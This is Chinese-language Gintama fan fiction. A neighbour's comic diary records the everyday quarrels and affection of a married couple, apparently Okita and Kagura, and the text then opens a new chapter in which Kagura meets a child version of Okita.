【壬寅三月十六日晴】 不小心把和服口袋里的纸巾一起洗了,因为把几天的量一起洗了,所以损失很大。 邻居好像也卷入了同样的洗衣事故,太太一个人在生气。纸巾、零钱、手机、醋海带、泡泡糖、辣椒酱、手铐、火箭筒零件…… ……不,很多吧?还是换新的比较快吧?本来就不是应该放在口袋里的东西吧? 【壬寅三月十九日阴】 隔壁的太太好像买了新的口红,拼命向丈夫炫耀,但丈夫完全没有注意到,所以她有点生气。 我觉得她有点可怜,于是在扔垃圾和太太碰面的时候,轻轻指了出来,她开心地笑了。感觉自己做了一件好事,和太太分别回到房间后,不知为何,一股不祥的冷气从房间的缝隙里钻了进来。 几分钟后,邻居老爷送来了短刀和一身白衣。什么意思?好可怕! 【壬寅三月二十三日晴】 因为是休息日,我特意去了浅草的日式点心店。购买了铜锣烧和金团各一盒。还在路边摊吃了炸馒头。其他的点心看起来也很好吃,下次再来吧。 去和式点心店的路上,在路过的戏院前偶然看到了隔壁的夫妇。虽然约会地点有点不太合适,但应该是来看歌舞伎或者漫才的吧。 太太被小摊吸引住,晃晃悠悠的,丈夫紧紧拉着她的手,以免她迷路。彼此都不看对方一眼,只会说些惹人讨厌的话,但两人都不愿意放开手,真好笑。 就像是刚开始交往的情侣,就算是新婚,也不能这样吧。应该坦诚地握住对方的手嘛…两个人都是。 【壬寅三月二十七日雨】 本日菜单:白饭、蚬子汁、芝虾仁、烧豆腐、奈良酱菜,饭后吃芋羊羹。 邻居的菜单:鸡蛋拌饭。 【壬寅三月二十九日晴】 在居酒屋,和邻座的客人意气相投。本以为他是个腰上插着木刀、嘻嘻哈哈的可疑男子,可一聊起来,意外地很合得来,不知不觉就喝多了。 那家伙好像是糖尿病的预备军,什么酒都用草莓牛奶兑,可乐饼上浇上枫糖浆,店老板都看不下去了。虽然我也喜欢吃甜的,但这也太过分了吧。 我们又聊了一会儿,等我从厕所回来时,那家伙已经不见了踪影。是喝醉了跑到哪里去了吗?等了半天也没回来,只好把他的那份钱也付了回去。 因为花费相当高,我想去追要他的酒钱,但我也是喝醉了,几乎不记得他的样子了。到底是什么样的家伙来着?感觉自己被狐狸给迷惑了。 【壬寅三月三十日晴】 送行的吻,0胜59负。夫人似乎是相当害羞的人。 【壬寅四月朔日晴】 今天好像是一年一度可以说谎的日子。 邻居的太太一大早就对丈夫说:“我要和你离婚。”丈夫语气冷淡地说:“是吗……我这辈子就只有你了,如果这是你的幸福的话……”然后去拿离婚申请书。太太哭着收回了话,没过多久就和解了。 那天晚上,丈夫以“惩罚”为名,相当随心所欲。……先生,你绝对是故意的。 【壬寅四月五日晴空】 今天是个晴朗的日子,很暖和。 去工作的途中,在茶屋看到有樱饼卖就买了,休息时吃得很香。 邻居说要去赏花,一大早就一起外出了。他们带着酒、便当、头盔和玩具锤出门了。 大概和我所知道的赏花不一样。 【壬寅四月十一日晴】 在武家修补主屋屋顶时,与一个忍者相撞了。明明撞到的是上半身,为什么他却捂着屁股呢。 【壬寅四月十三日雨】 墙壁啊啊? 【壬寅四月二十二日晴】 因为长屋里来了捕鱼者,我买了两尾鳕鱼,邻居的太太买了一大木桶。 傍晚时分,从隔壁飘来一股烧焦的味道。太太好像没做好,她试着藏在柜子里,但被回家的丈夫发现了。因为被嘲笑得要死,太太生气得歪着嘴,但在认真地把菜吃完的地方感受到了深深的爱。丈夫,你真的很喜欢你的妻子啊。 【壬寅四月二十四日雨】 因为下雨,工作中止。整天看着漫画度过。 柜子里的煎饼吃完了,明天要去买。 【壬寅四月二十九日晴】 我去了常去的拉面馆,碰巧老板休息了,一位长发的男子在店里独自看守,应该是兼职吧。 兼职不停地劝我点荞麦面,我拒绝了,点了酱油拉面。结果荞麦面端上来了,我告诉他点错了,请他帮忙换菜,他很有礼貌地向我道歉,把碗筷拿走了。 十分钟后,浇了酱油的荞麦面上来了,我再也不去了。 【壬寅五月朔日晴】 送行的吻,0胜90负。不气馁的丈夫,加油。 【壬寅五月五日晴】 看到鲤鱼旗,想起今天是端午节,吃了柏饼。 隔壁的丈夫好像要出差一周左右,今天格外安静。虽然没有了平常的吵闹有点寂寞,但太太的样子没有什么变化,正常地吃晚餐然后就寝。真是个坚强的妻子,丈夫也可以放心了吧。 过了几个小时,我突然在半夜里听到了声音,好像是邻居出去了。 说不定她回老家去了,出乎意料地寂寞吧。 【壬寅五月六日阴】 本日菜单:白饭、鸡丁汤、盐鲣鱼、海带油豆腐、金平牛蒡,饭后吃枇杷。 邻居的菜单:不在 【壬寅五月八日阴】 通过网络购物订购的伊势麻糬送到了。非常美味,准备慢慢品尝。 今天好像是邻居丈夫回家的日子,妻子从早上开始就心神不定。打扫完房间,准备好晚饭等着,但到了深夜,丈夫还没回来,于是太太一边抱怨一边放弃等待,躺下睡了。 三十分钟后,隔壁的丈夫从出差回来。进屋几秒后,发现太太正抱着丈夫的睡衣睡觉。当场懵了一下,之后响起连拍的声音。 ……我觉得你看起来幸福就好。不过有点吵,打算拍几张? 【壬寅五月十三日晴】 今天也在武家屋敷工作。占地太大了,感觉工作完全不会结束。 中午在整修道场的时候,一位自称是继承人的朋友的漂亮姑娘来玩,我打了个招呼。她很好心地送了手工的点心,我感激地接受了。 回家后,我打开盒子一看,里面铺满了黑色的圆形物体。有一股烧焦的味道,这是不是麻糬之类的?好不容易得到的,试着吃一个吧。 【壬寅六月二十九日雨】 醒来后不知为何在医院,这几天的记忆消失了。据医生说,是严重的食物中毒。她问我有没有吃什么奇怪的东西,我没有记忆,也不好说什么。总之先觉得活着真好。 【壬寅六月三十日雨后晴】 为了观察状况而住院。反正无事可做,就和隔壁床的患者聊天打发时间。那个患者…通称猩猩的他全身缠着绷带,伤势相当严重,我忍不住问了他详细的伤情。 据猩猩说,他在拜访意中人的家时,不知怎么回事,屋檐下被设了陷阱,正当他的动作被封锁时,有箭射了下来。要是再多两三支箭就糟了,高里笑着说,但我觉得在那种情况下还能活着已经很危险了。虽然不知道为什么会出现在屋檐下,但总觉得不是一般人。 还有,女人为什么要在家里做这种摆设呢?虽然猜不出是什么样的女人,但硬要说的话,我觉得挺般配的。 【壬寅七月朔日晴】 检查的结果没有异常,中午过后平安出院。 时隔很久回到家,遇到了邻居夫妇。据说妻子的体质,现在是外出越来越困难的季节。为了不让强烈的阳光照射进来,丈夫在窗户上挂上了帘子。 【壬寅七月三日晴】 我今天开始恢复工作。休息期间,武家屋敷的工程进展神速。完成也近在眼前了,再努力一下吧。 隔壁的太太没能熨烫好丈夫的衣服,留下了明显的烧焦标记,试图用兔子贴花蒙混过去。 ……不,兔子。绝对比烧焦的标志更显眼吧,至少剪个边角料什么的。 【壬寅七月四日晴】 隔壁的丈夫心情不好。他好像没能很好地向上司传达今明两天的连休计划,结果明天好像照常加了班。他一边咕哝着听不懂的咒语,一边调制准备混入上司饮料里的可疑毒物。 另一方面,太太为了丈夫的新衣服,现在要外出。然而,由于不知道丈夫的尺寸,她只好抱着他,试图感受一下尺寸的大小。 几秒钟后,丈夫的心情瞬间恢复了。简单就好,土方先生你快逃吧。 【壬寅七月八日晴】 听说今天是邻居丈夫的生日,恭喜。 宴会好像是在屯所举行,傍晚时分,夫妇俩一起出门了。 出门前,也许是担心主角会很忙碌,太太事先给丈夫送了礼物。因为不知道送什么好,左思右想之后决定了“什么都可以做的券”。 太太得意洋洋地说:“快说谢谢,感激不尽地收下吧阿鲁!”不得不说有点像小学生。应该还有其他更好的东西吧……我自作多情地有点吃惊,但丈夫似乎立刻开心地接受了。丈夫比预期的更高兴,妻子则有些失望。 ……用勉强能听见的声音说“让你做什么呢……”好像听到了什么,可能是错觉吧,一定是错觉,一定是这样。 【壬寅七月九日晴】 墙壁又开始抖个不停。 【壬寅七月十二日阴】 因为工作的原因被师傅骂了。 很痛苦,讨厌死了,下辈子想当甜品店的老板。 【壬寅七月十四日晴】 隔壁夫妇因味噌汤的口味不同而面临解散危机。 在激烈的战斗后,壁橱和衣柜毁了一半。桌子、箱子和其他餐具都不见了。双方暂时和解,把汤端上餐桌,但并没有解决任何问题。 这对夫妇又要吵架了,根本没有吸取教训。 【壬寅七月十五日晴】 因为今天工作结束得早,过了中午就回家了。在房间里吃着葛片的时候,隔壁的太太拜托我修理橱柜和衣柜。因为有空就答应了,拿着工具去隔壁。因为两个都无法修复,所以重新做了新的。在制作的过程中,“比小银做得还好!”太太一个劲地夸奖我。小银是谁?不过做木匠真好。 傍晚时分,这次是丈夫来了。他和太太一样,笑眯眯地向我道谢,但目光凝重,让我有点害怕。用力行了个礼后,说是感谢,给了我大福饼。因为喜欢吃,所以高高兴兴地咬了一口,但不知为何辣得要死。那家伙绝对在里面加了辣椒酱,我的舌头和喉咙都很刺痛。 ……我做了什么吗? 【壬寅七月二十日阴】 有个年轻姑娘在小巷里被小混混缠住了,我立刻上前搭救,不知为何被随后赶来的父亲模样的人盯上,把枪口抵在了我的头上。由于被威胁必须在3秒内辩解,我慌忙地想要解释,但在数到1的时候就被开枪了。 不,等一下,2和3呢!?我又不是和你女儿扯上关系!你不是弄错了吗!? 哎呀,这世上的父亲在谈到女儿的事情时,真的太可怕了。 【壬寅七月二十一日晴】 今天走了一条和平时不同的路去工作,邻居的丈夫正在指挥交通。没想到他还在认真地工作呢,我若无其事地望着他,散步中的太太偶然经过,他抛下工作跟太太嬉闹起来,然后在街头发生了一场大打出手的争吵。 ……那个,车停不下来,完全过不了路。都怪这对傻瓜夫妇,工作迟到了。 【壬寅七月二十三日雨】 隔壁的丈夫发烧了,太太嘲笑说夏天感冒是怎么回事,但丈夫说最近屯所流行感冒。从各种意义上来说都没问题吗,真选组。 不过话说回来,嗓子干、头晕,还有什么“待在我身边”、“握手”之类的话,丈夫一直黏着太太,看起来很亲密。真选组一番队队长,好像一感冒就会变成弟弟属性的撒娇鬼。太太一边呆呆地陪着,一边似乎也有点无奈,总体来说并不讨厌。 ……这个素材投到瓦版上能卖多少钱呢?会被发现吗? 【壬寅七月二十七日晴】 武家屋敷的改建终于结束了,顺利完工真是太好了。 去本家通知报告完成的时候,临走时被户主要求握手。和户主普通地握了握手,然后顺势向继承人伸出手,记忆突然空白了几分钟。 据同事说,我刚握住继承人的手,不知为何就被甩了出去,撞上了墙壁。……不,为什么?好可怕。感觉最近这种事情发生的频率挺高的。 【壬寅八月二日晴】 送行的吻,0胜182负。啊,还没完啊,差不多该放弃了吧。 【壬寅八月三日晴】 因为天气热,所以去茶馆吃了刨冰。犹豫了一会儿要不要草莓,最后还是选择了抹茶,真好吃。 吃饭的时候,觉得对面店里有张见过的脸,原来是隔壁的丈夫。他一脸为难地物色簪子和耳环,那绝对是太太用的。我笑眯眯地观察着,突然四目相对,我点了点头。他无言地咂了咂嘴。不讲理。 【壬寅八月八日阴】 今天开始在新的工作场所工作,这次是吉原的一项任务。因为一个醉酒的员工发狂,结果在看台的入口到里间之间打了一个像炮弹一样的大洞。 ……光喝酒就能发射炮弹,太可怕了。看到惨烈的现场,我不由得说漏了嘴,有这么危险的员工真是辛苦啊。委托人百华的大姐流着瀑布般的汗珠,凶巴巴地瞪着我。或许是因为我说了员工的坏话,她生气了。肯定是个关心部下的人。以后要注意点。 【壬寅八月十日阴后雨】 这几天,隔壁的丈夫除了吃饭和洗澡,就是听落语。他喜欢的落语家很有人气,最近曝光率也在增加。丈夫聚精会神地坐在收音机前,太太似乎在他周围走来走去,不时传来小猫般的脚步声。 太太和丈夫说话,骑在他背上,他也只是敷衍地回答,几乎不搭理。即使挑起争吵也得不到回应,渐渐地太太就生气地垂头丧气了。 几分钟后,随着“啪”的一声,广播里的落语声停止了。立刻传来争吵声和互殴声,虽然发出了一般夫妇无法发出的声音,但太太似乎很满意。丈夫应该也很生气,但声音却没有那么不高兴,一定和太太差不多吧。 ……夫妻俩都是叛逆鬼,真是太般配了。不过要调情就安静地调情吧,毕竟已经半夜两点了。 【壬寅八月十三日晴】 因为是盂兰盆节所以回老家和老朋友久违地见面了,去吃了安康鱼火锅。青梅竹马的小铃变漂亮了,我吓了一跳。 说起来,邻居夫妇也说要回丈夫的老家,好像要去给丈夫的亲姐姐扫墓。既然长得那么好看,姐姐肯定也是个大美人。我若无其事地对太太说,我也想见她一面,太太有点落寞地笑了笑,小声说:“我也是。” 【壬寅八月十七日晴】 吉原修缮工作结束了。为了表示感谢,他们准备了酒席,但我有一种不祥的预感,谢绝后就回去了。我不想再丧失记忆了,还是老老实实在家吃饭吧。 隔壁的老爷接下来好像要进行大规模的讨伐,匆忙地离开了。在道别的时候说了“路上小心”,他继续刷新着失败纪录,开始工作。 【壬寅八月十八日晴】 下班回家的路上买了水馒头。为了不受伤赶紧回家。 就在我走到家门口的时候,太太从隔壁走了出来。她沉默了片刻,很平常地跟我打了个招呼,但肩膀有些僵硬。她大概以为丈夫回来了,还是老样子的怕寂寞。 【壬寅八月十九日阴】 网购订单弄错了,结果收到了二十箱营养饮料。睡前喝了一盒就睡不着了,明天去工作的时候处理掉吧。 因为完全睡不着,无意中看着深夜剧,这时隔壁传来了轻微的铃声。接电话的太太说了两三句话,就匆匆忙忙地做了些准备,跑出了房间。发生什么事了吗?不要紧吧?虽然有点在意,但追上去也太奇怪了,所以今天还是老老实实地躺在被窝里吧。 【壬寅八月二十日雨】 早上看的新闻节目。真选组一番队队长重伤昏迷。有人说发生激战后受了重伤,有人说现场发生了爆炸,具体情况不太清楚。 隔壁好像没有人。从昨天深夜开始,太太就一直没有回来,大概是在丈夫身边吧。我有点担心,虽然什么都做不了,但总之祈祷一切平安。 【壬寅八月二十一日雨】 休息的时候,散步顺便去了公园,看到有几个纸箱扔在那里,为了打发时间就开始动手做工艺品。我建了狗屋,得到了一个戴着墨镜的大叔的夸奖。他说想要,于是我就把狗窝给了他,他立刻就搬进去住了。看起来很舒适,真是太好了。 【壬寅八月二十二日雨】 电风扇坏了,好热。我想搬到有空调的房子里。 没办法,只好在门口洒水,这时隔壁的太太回来了。好像是来拿行李的。跟她打招呼,她很平常地回应了一下,很快就进屋了。太太的样子和平时没什么两样,只是鼻尖有点发红。是看错了吗? 【壬寅八月二十三日雨】 在露天市场买了个风铃。挂在窗户上,好歹能感觉到一点凉爽。 深夜,隔壁传来吸鼻子的声音。感觉是这样,但被风铃声混淆了,听不太清楚,所以应该只是错觉吧。 【壬寅八月二十四日雨】 锦屋委托新建店铺。因为明天开始工作,所以今天要早点睡。 邻居今天也很安静。 【壬寅八月二十五日雨】 隔壁来了个银发武士、眼镜和大狗。好像是太太的同事。他们好像是来吃晚饭的,兴致勃勃地走进隔壁房间。如果丈夫在场,肯定会皱起眉头。 好像是三个人在做饭,始终吵吵闹闹的。中途,他们分了晚饭的一份给我,是炖菜和泡菜。主要是眼镜制作的,每样都很美味,令人吃惊。虽然是无机物,却很了不起。 银发男子的脸好像在哪里见过,见过面吗?他拼命摇头,大概是认错人了吧。 银发和眼镜在做傻事的同时,也一直关心着太太。太太好像多少有了精神,露出了久违的笑容。 三人一狗。虽然是个乱七八糟的组合,但总觉得很温暖,就像一家人一样。 【壬寅八月二廿六雨】 因为下雨,工作中止,整天看着一本短篇小说集度日。 【壬寅八月二十七日晴】 清晨的新闻。真选组一番队队长恢复了意识。一大早就收到好消息,松了口气。 隔壁的太太回来了一趟,收拾了些行李就马上回了医院。收拾行李的时候,听到他终于醒了、睡了个懒觉等各种声音,每一个都充满了安心的心情,好像已经不用担心了。 【壬寅八月三十日晴】 蔬菜店的阿姨给了我一个大西瓜,所以我把水桶放在外面冰镇。邻居的太太从门口走了出来。好像要去丈夫那里。丈夫说住院生活太无聊了,吵着要早点出院。看起来很有精神,让我放心了。 太太一边对醒来的丈夫发牢骚,一边每天匆匆忙忙地去探望,眼睛已经不肿了。能回到元气真是太好了。 【壬寅九月二日晴】 隔壁的丈夫回来了,好像平安出院了。 一回到家,就揶揄太太吵了一架,虽然嘴上说着这样那样的,丈夫也很高兴能回家吧。从刚才开始,太太每动一下,我都能听到丈夫的脚步声。看起来他一直跟在太太身后。太太去买东西的时候,我从开着的门口看到丈夫,耳朵和尾巴好像在嗡嗡地摇。你们和和睦睦,真是太好了。 【壬寅九月四日阴】 快援队在终点站举办了不定期集市,我去看了看。宇宙产的珍奇物品堆积如山,很有意思。因为央国星的点心看起来很好吃,所以我买了一些,还购买了一个叫做“三千世界时钟”的奇怪形状的时钟。一个头发乱蓬蓬的大叔说什么时间会停止之类的话,但他说得太快,我没听太懂。用法也不太清楚,姑且装饰一下。 【壬寅九月五日雨后晴】 今天好像是隔壁夫妇交往的纪念日,太太从早上就开始念叨今天是什么日子。不知道丈夫是故意的还是真的忘记了,始终呆呆地不回应让太太着急。由于丈夫的态度太冷淡,太太渐渐开始真的哭了起来,这次是丈夫开始有点着急了。就这样,太太做好了回娘家的准备,丈夫终于尴尬地把礼物耳环递给了她。喂,你不是记得很清楚吗?太太虽然有点不满,但似乎很高兴,很快心情就好了。 ……话说回来,要是直接给她礼物就好了。那个男人早就准备好了,真是不老实。 【壬寅九月七日晴】 墙壁正一 太激烈了,墙皮脱落了。 【壬寅九月八日晴】 送行的吻,1胜205负。 第一次的胜利,丈夫好像很高兴。 【壬寅九月十日晴】 今晚是中秋明月,为了准备赏月,做了赏月团子。 隔壁的夫妇似乎也打算赏月,太太在门口摆了大量的团子、面具和鬼嫁酒,兴奋地准备捉月兔。虽然能理解她想做的事情,但不对,不是这样的。 隔壁的丈夫虽然一脸无奈,但始终陪着开心的太太。不知为何,这位夫人很适合月亮,看起来比平时更美 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在房间里吃烤栗子的时候,突然房门被炸飞了,家里被炸得乱七八糟。我吓了一跳,冲到外面,只见一个扎着麻花辫的粉色头发男人笑眯眯地站在那里。我觉得他长得像谁,好像是邻居太太的亲哥哥。因为误认为是妹妹夫妇的家,结果把门炸坏了。不该说声“对不起”吗? 那位兄长一点都没有反省的迹象,反而太太和一个中年大叔来道歉。尤其是那位大叔,一脸疲惫,怎么说呢,我想他一定很辛苦吧。 这位兄长一开始只是说顺便来看看,后来又说很喜欢这个房子,然后就说要暂时住一段时间。虽然隔壁的丈夫强烈拒绝,但太太说只要几天就可以了,还是允许了住宿。 结果,大叔不知去了哪里,老哥却留在那里。到了晚上睡觉的时候,哥哥理所当然地占据了三床被褥的正中间,丈夫和大舅子笑眯眯地对峙着。虽然不知道他们关系好还是不好,但太太看起来很开心,所以就算了。 【壬寅九月二十一日晴】 本日菜单:蒸米饭、水豚汤、盐烤秋刀鱼、煮豆、凉拌海带,饭后吃红薯干。 邻居的菜单:茶泡饭(相当于27合的白米) 【壬寅九月二十三日晴】 邻居老哥在逗留了三天之后终于离开,损害总金额无法计算。 【壬寅九月二十六日雨】 附近的面包店正在甩卖面包,于是买了半斤。邻居的太太买了十斤。这家面包店很有口碑,所以期待着品尝。隔壁太太也兴致勃勃地说从明天开始每天都要吃烤面包。 傍晚时分,邻居的丈夫回家了,抱着十斤面包。太太也递上十斤面包。总共二十斤,寂静降临了一会儿,然后是爆笑。 不对,现在是该笑的时候吗?二十斤面包,你们是面包店吗? 【壬寅十月朔日晴】 隔壁的太太喝醉了酒,难得地向丈夫撒娇。丈夫敷衍地回答着“是、是”,掩饰不住从声音中渗出的愉悦。就像新婚一样,令人欣慰。 在太太撒娇的“抱抱”和“亲亲”之间,突然听到了一声“咔嚓”的声音。喂,太太,被拍下来了。 【壬寅十月四日晴】 晚上在路上走,被一个硬汉样的巡警询问了。我告诉他附近SM俱乐部的位置,他马上就放我走了。 【壬寅十月八日晴】 同事送了我一些柿子,我把它们挂在屋檐下晒成柿饼,迫不及待地等待着完成。 隔壁的丈夫似乎请了一天假。带着巧克力、牡蛎、无花果、蜂蜜、石榴和香草冰淇淋回家。这是什么奇怪的组合? 【壬寅十月九日晴】 墙壁啊啊正正? 【壬寅十月十一日晴】 隔壁太太因工作要去宇宙几天,在父亲的帮助下去讨伐外星人。 邻居的丈夫即使妻子不在也会好好回家,但他还是习惯性地等着妻子的“欢迎回来”。在那之后,每隔几分钟就朝着虚空中喊一次“China”。想起太太不在,沉默着拿起手机又放下。之后就放弃了,早早地睡了。 他可能觉得主动打电话是自尊心所不允许的。 【壬寅十月十四日晴】 工作中肚子饿了,于是在休息时间去了甜甜圈店。但因为前面的一位女士买走了所有的甜甜圈,所以我只能买到巧克力和奶油口味的面包。 【壬寅十月十七日晴】 隔壁的太太从宇宙返回。一只手拿着神秘的生发剂回到了家。 太太一放下行李,就揶揄丈夫说,你一定很寂寞吧?丈夫却说,妻子不在的时候,自己很安静,很神清气爽。不要说谎了啊! 但是,他却紧紧地黏在太太身边不肯分开,我觉得已经暴露了。 【壬寅十月二十二日晴】 工作地附近有小孩子在玩,我就用剩下的木材给她做了个简单的玩具。她高兴得跳了起来,我也很高兴。 那天,隔壁的太太也收到了一件不寻常的玩具,回家后向丈夫询问使用方法。丈夫哑口无言了一会儿,细致地说明了使用方法,被面红耳赤的太太打了一顿。 ……不,是那边的玩具。太太,至少收到的时候要注意到。丈夫,你也别想用。 顺便说一下,送玩具的好像是太太认识的一个变态忍者。这是什么样的熟人啊? 【壬寅十月二十五日雨】 因为下雨,工作中止,整天都在看漫画《Jump》。 【壬寅十月三十日晴】 邻居的丈夫似乎在逃避工作! 丈夫发动了二次暴动! 效果非常出色! 真选组副长出现了! 丈夫的气力降低了230! 丈夫的睡意提高了120! 丈夫的攻击性提升了999! 丈夫发动了攻击! 对方闪避了先生最大输出的必杀技! 太太施展了会心一击! 发动了喜爱之吻! 丈夫的斗志提升了78200000! 效果非常出色! 祝你上班愉快! 一路顺风! 【壬寅十一月三日晴】 听说今天是邻居太太的生日,恭喜。 太太和丈夫好像准备留宿外出,前往下总的风景胜地。真好啊,我也想去海边。 【壬寅十一月八日晴】 傍晚,在给吉惠喂食的时候,一只两只耳朵都被扯断的胖猫来到了这里。在喂食之前,我想表演一下技巧,结果被嗤之以鼻,抢走了晚饭用的鱼。 【壬寅十一月十一日晴】 邻居夫妇又吵架了,据说夫人听说丈夫昨晚去了吉原。丈夫极力主张只是去喝酒,但太太好像误会了,说他有外遇,把丈夫打了个半死。 对了,网上新闻上说警察厅长带着真选组的队士们在吉原豪游。十有八九丈夫是为了工作上的应酬去的。你不用那么担心,我觉得他对你特别专一,太太。 最终,吉原的熟人证明了丈夫的清白,事情才得以解决,但我想,妻子也意外地嫉妒心很强。丈夫注意到这一点,脸上也露出一丝笑意。 ……虽然受伤很厉害但是看起来很开心真是太好了。 【壬寅十一月十五日晴】 因为天气变冷,所以把暖桌拿出来了,已经不想离开暖桌了。 邻居似乎也买了暖桌,为了争夺阵地,他们立刻吵了起来。他们好像买了个小号的暖炉,两个成年人坐在一起会显得非常挤。 ……不,首先,这对夫妇为什么会要挤在同一面里,当然会小了,也用用剩下的三面吧。 【壬寅十一月十八日晴】 隔壁的太太,为了防止丈夫出轨,给他买了很多条可爱的内裤。印着兔子、狗、猫、熊猫等动物图案,上面大大的绣着“神乐专用”。丈夫面露难色,但拗不过太太,只好穿上。 刚才在澡堂和丈夫碰面的时候,和吉娃娃的内裤四目相对,忍不住笑了出来。对方一脸严肃地打了我一拳。 【壬寅十一月二十日晴】 在修理屋顶的时候,看到了躲在树上观察少女的变态萝莉控,所以报了警。在警察来之前,金发的姐姐抓住他的衣领把他拖走了。 【壬寅十一月二十二日阴后晴】 用故乡年贡点的烤虾夷点心送来了,奶酪和葡萄干的组合果然是最棒的。 隔壁的丈夫深夜过后醉醺醺地回到家。“China”地叫了几声后,就躺在地上不动了。太太不情不愿地起床,拿来被子盖在丈夫身上。但是,太太好像也懒得回到自己的被子里,直接钻进了刚刚盖好的被子里,跟着丈夫一起睡了起来。 第二天早上,两人一起嚷嚷着身体痛。我觉得关系很好。 【壬寅十一月二十四日晴】 阿通被报道交往,从歌舞伎町那边传来了尖叫。 【壬寅十一月二十七日雨】 我露出肚子睡觉,结果感冒了。喝姜汤促进恢复。 隔壁的太太最近身体也不太好,今天一整天都卧床不起。丈夫请了带薪假,勤勤恳恳地看护病人。可能是习惯了照顾人,做事也很得心应手,把爱耍赖的太太惯坏了。 【壬寅十一月二十九日晴】 小铃从乡下来玩了,请了一天假,在江户陪她玩。 【壬寅十二月朔日晴】 邻居丈夫使用了生日时收到的“什么都可以做的券”。要求把内裤恢复正常。看样子是在屯所的浴室里被队士们看到引起哄堂大笑了。丈夫抓着妻子的双肩,强调说,不穿那种内裤也算花心吗,到死都只属于你一个人。太太虽然不满,但还是勉强答应了。 ……怎么说呢,使用券的方式比想象中更无聊,让我差点笑倒。之前他说“让你做什么呢”的时候还散发着一种非常厉害的氛围。我觉得他果然有点笨。 【壬寅十二月三日阴】 买东西时被人问路,我想告诉他怎么去,但他只说了一个“Z”,所以不知道他要去哪。我先带他去附近的红豆汤店,他歪着头请我吃红豆汤。虽然最后两个人吃了红豆汤就分手了,但是那个人最后到达目的地了吗? 【壬寅十二月五日阴】 隔壁的丈夫好像睡过头了,一大早就匆匆忙忙地离开了家。今天好像有大人物造访屯所,队士的失职似乎关系到局长的威信。就连平时旁若无人的丈夫,也无愧于武士之名,对主君忠心耿耿,不禁让人产生了莫名的感慨。 顺便说一句,他离开时颈间围着的围巾颜色有点可爱,是不是太太的?该不会是太着急了,把它当成自己的了吧?……比起睡懒觉,这样更影响威严吧……虽然这么想,但为时已晚,还是装作没看到比较好。 顺便说一下,太太倒是一如既往地围着丈夫的围巾去上班。 【壬寅十二月八日雨后晴】 接到了有名的阴阳师一家的宅邸修复委托。听说因为邻里纠纷,宅邸的一部分倒塌了。到底发生了多少争执啊?到处都很危险。 这些邻居似乎总是互相争吵,甚至在工作中送来的礼物都要争先恐后。虽然感激他们送来的各种礼物,但说实话,我根本不需要露利英(卫生巾)和混沌之都。虽然不知道他们的关系是好是坏,但应该都是相似的人。 【壬寅十二月九日晴】 邻居的丈夫回家后,难得地给妻子送了一束花。“因为部下说不要,所以才得到的”,“因为是被逼的,所以没办法就带回来了”,老公说得好像是借口,但我知道他白天在街上的花店里,一脸认真地挑选太太喜欢的花。顺便说一下,在那之前的定食屋,我亲眼目睹他被上司灌输了“在普通日子送礼物能够增加特殊感,妻子会重新爱上丈夫”之类的言论。 我本想偷偷告诉什么都不知道的太太,但隔着墙壁,我感觉到一股凉飕飕的杀意,所以忍住了。是透视吗?好可怕。 【壬寅十二月十日晴】 32胜261负。好像是昨天的花束起了作用。 【壬寅十二月十三日晴】 我买了彩票,虽然从没中过奖,但每年都买,真是不可思议。 隔壁的夫妇正在争论如果中了五亿的话要做什么。太太说“买一辈子的醋海带”、“吃遍世界各地的美食”等,还算是梦想般的梦想,而丈夫的内容却是“通过贿赂政府高官,掌握警察厅人事权”,具体得出奇。那家伙要是中了五亿,打算成为副长。快逃!全力以赴! 【壬寅十二月十六日晴】 从故乡寄来了数量可观的橘子。早饭午饭晚饭都在吃,身体的味道都变成了橘子。 因为实在吃不完,所以决定分给邻居。正好太太在外面,我拿了一盒递给她,她僵住了几秒,若无其事地笑着向我道谢。 咦,好奇怪啊。因为是食物,我还以为会更高兴呢。她好像有些犹豫要不要拿起来,我觉得她的状态有点不太好。也许是之前的感冒复发了吧。等会儿再给她送点葛汤吧。 【壬寅十二月十七日阴】 邻居的太太晕倒了。吃晚饭的时候,她好像有点发愣,就这样往后倒了下去,丈夫脸色大变,把她送到了医院。太太的脸色也很难看,说实话,抱着太太跑出来的丈夫的表情更吓人。 隔壁的两个人还没回来。不要紧吧?但愿一切都没事。 【壬寅十二月十八日晴】 中午过后,隔壁的两个人回来了。经检查,太太怀孕了。幸好没有什么大事,恭喜你们。 丈夫和太太的表情都很幸福。特别是丈夫,立刻展现出对妻子的过度保护,“不要跑”、“注意保暖”、“不要勉强”之类的话语一刻不停。对于丈夫的话,太太左耳进右耳出,在那里跳来跳去,立刻和丈夫吵了起来。我觉得最好停止这种对话,对胎教不好。 【壬寅十二月二十一日晴】 大量的婴儿用品从歌舞伎町、真选组、吉原、江户城等地送到邻居家。不知道为什么,我家也会收到来自宇宙的小番伞。喂,老哥,你又弄错地址了 6. 第 7 章 这是个月光皎洁的夜晚。 神乐和爱犬定春在月光下散步。长袖正好适合这个凉爽的季节,月亮高高挂在空中,仿佛伸手可及。柔和的月光温柔地洒下,让人感觉很舒服。 “定春,月亮真漂亮。” “汪!” 夏天阳光强烈,晚上散步是每天必做的事。她还是改变不了这个习惯,今晚也独自一人在河边散步。停下脚步仰望天空,神乐突然想起来。 “好像有人说过什么奇怪的话,说什么辉夜姬会降临什么的……” 察觉到动静的下一瞬间,后背碰到了硬物。 “别动,回答我的问题。” 神乐和定春立刻停止了脚步。然而,对背后的感触并不陌生。这是…… 神乐猛地回过头,夺过贴在背上的东西,果然是树枝。啪的一声,她将树枝随手丢掉,迅速抓住背后的人的领子,按倒在地骑在身上。 “你这家伙在干什么!……哦哦…” 振振有词的语气最终弱了下来。被压在身下的那人的脸,眼睛的颜色,头发的颜色都和熟悉的人一模一样。但是她握着的这个男孩的手并没有什么力量,看上去有点太年幼。 “呀,抖s!?” “…抖s?你在说什么?” 那双红色的眼睛瞪着她,特别相似。 少年带着一副傲慢的态度开口。 “我的名字是冲田总悟。” * * * 万事屋的门被猛地打开,啪嗒啪嗒的脚步声越来越近。银时正穿着睡衣躺在沙发上看电视,听到熟悉的声音打了个哈欠,视线却没有从电视上移开。 “小银!不得了了!!” “汪汪汪!” “怎么了,吵死了。定春又吃了什么?从大便里找出来手机了吗?” 对定春的吠声和神乐的紧张声音,银时动都没动一下,继续淡定地看着综艺节目。然后,有人开口了: “是谁啊?这个不修边幅的大叔。” 男人的声音?不不,不会吧,这里只有神乐和定春。听着这么傲慢的口气,银时只转动了目光,望向声音的方向。 “刚刚是谁在说…这个小鬼!!…嗯嗯嗯?哎哎哎!?” 